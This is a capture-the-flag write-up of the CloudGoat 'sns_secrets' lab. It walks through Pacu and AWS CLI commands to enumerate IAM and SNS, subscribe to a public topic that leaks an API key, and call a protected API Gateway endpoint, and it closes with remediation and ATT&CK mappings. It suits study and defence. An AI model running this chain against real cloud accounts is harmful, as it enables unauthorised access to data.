Write-up: Exploiting SNS subscriptions to leak API keys
š 2026-01-17
Scenario: sns_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: Pacu + AWS CLI
Objective: Enumerate SNS topics, subscribe to leak secrets, and access protected API Gateway endpoints.
SNS User ā IAM Enum ā SNS Enum ā Subscribe to Topic ā Receive API Key ā API Gateway Enum ā Access Protected Endpoint ā Flag
aws configure --profile sns_secrets
# Access Key: AKIA****************
# Secret Key: 7C30FWO69LHE8JZt7RcZ********************
aws sts get-caller-identity --profile sns_secrets
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cg-sns-user-cgid38umo4q95r"
}
pacu
Pacu > import_keys sns_secrets
Pacu > run iam__enum_permissions
Pacu > whoami
{
"UserName": "cg-sns-user-cgid38umo4q95r",
"Permissions": {
"Allow": {
"sns:listsubscriptionsbytopic": { "Resources": ["*"] },
"sns:gettopicattributes": { "Resources": ["*"] },
"sns:receive": { "Resources": ["*"] },
"sns:subscribe": { "Resources": ["*"] },
"sns:listtopics": { "Resources": ["*"] },
"apigateway:get": { "Resources": ["*"] }
},
"Deny": {
"apigateway:get": {
"Resources": [
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
"arn:aws:apigateway:us-east-1::/apikeys",
"arn:aws:apigateway:us-east-1::/apikeys/*"
]
}
}
}
}
| Service | Permissions | Note |
|---|---|---|
| SNS | listtopics, subscribe, receive | Can subscribe to topics |
| API Gateway | get (with denies) | Can enumerate APIs but not keys directly |
The explicit deny on /apikeys and /apikeys/* suggests there are API keys we're not supposed to access directly. But can we get them another way?
Pacu > run sns__enum --regions us-east-1
[sns__enum] Starting region us-east-1...
[sns__enum] Found 1 topics
Pacu > data
{
"SNS": {
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r": {
"Owner": "7912********",
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}
}
Found: arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r
Pacu > run sns__subscribe \
--topics arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r \
--email my-email@example.com
After confirming the subscription, the SNS topic publishes a message containing the leaked API key:
API Key: 45a3da610dc64703b10e273a4db135bf
aws apigateway get-rest-apis --profile sns_secrets --region us-east-1
{
"items": [
{
"id": "gfal9z7rki",
"name": "cg-api-cgid38umo4q95r",
"description": "API for demonstrating leaked API key scenario"
}
]
}
aws apigateway get-stages \
--rest-api-id gfal9z7rki \
--profile sns_secrets \
--region us-east-1
{
"item": [
{
"stageName": "prod-cgid38umo4q95r"
}
]
}
aws apigateway get-resources \
--rest-api-id gfal9z7rki \
--profile sns_secrets \
--region us-east-1
{
"items": [
{
"id": "1wq00q",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": { "GET": {} }
},
{
"id": "n20xrta7ec",
"path": "/"
}
]
}
API Gateway URL format: https://{api-id}.execute-api.{region}.amazonaws.com/{stage}{resource-path}
Endpoint: https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data
curl -X GET \
https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data \
-H "x-api-key: 45a3da610dc64703b10e273a4db135bf"
{
"final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}",
"message": "Access granted",
"user_data": {
"email": "SuperAdmin@notarealemail.com",
"password": "p@ssw0rd123",
"user_id": "1337",
"username": "SuperAdmin"
}
}
āāāāāāāāāāāāāāāāāāāāāāā
ā SNS User ā
ā (sns_secrets) ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā iam__enum_permissions
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā Discovered Perms ā
ā - SNS: subscribe ā
ā - API GW: get ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā sns__enum
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā SNS Topic Found ā
ā public-topic-* ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā sns__subscribe (email)
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā Leaked API Key ā
ā via SNS message ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā apigateway:get
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā API GW Enumerated ā
ā /user-data GET ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā curl with x-api-key
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā FLAG ā
āāāāāāāāāāāāāāāāāāāāāāā
| # | Vulnerability | CWE |
|---|---|---|
| 1 | Sensitive data exposed via SNS topic subscription | CWE-200 |
| 2 | API key leaked through notification service | CWE-522 |
| 3 | Overly permissive SNS subscription policy | CWE-732 |
{
"Effect": "Deny",
"Principal": "*",
"Action": "sns:Subscribe",
"Resource": "arn:aws:sns:*:*:*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalAccount": "YOUR_ACCOUNT_ID"
}
}
}
| Tactic | Technique | ID |
|---|---|---|
| Discovery | Cloud Service Discovery | T1526 |
| Collection | Data from Cloud Storage | T1530 |
| Credential Access | Unsecured Credentials | T1552 |
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
# IAM Enumeration (Pacu)
import_keys <profile>
run iam__enum_permissions
whoami
# SNS Enumeration (Pacu)
run sns__enum --regions us-east-1
data
# SNS Subscribe (Pacu)
run sns__subscribe --topics <topic-arn> --email <email>
# API Gateway Enumeration (AWS CLI)
aws apigateway get-rest-apis --profile <profile> --region <region>
aws apigateway get-stages --rest-api-id <api-id> --profile <profile> --region <region>
aws apigateway get-resources --rest-api-id <api-id> --profile <profile> --region <region>
# Call API Gateway with API Key
curl -X GET <api-url> -H "x-api-key: <api-key>"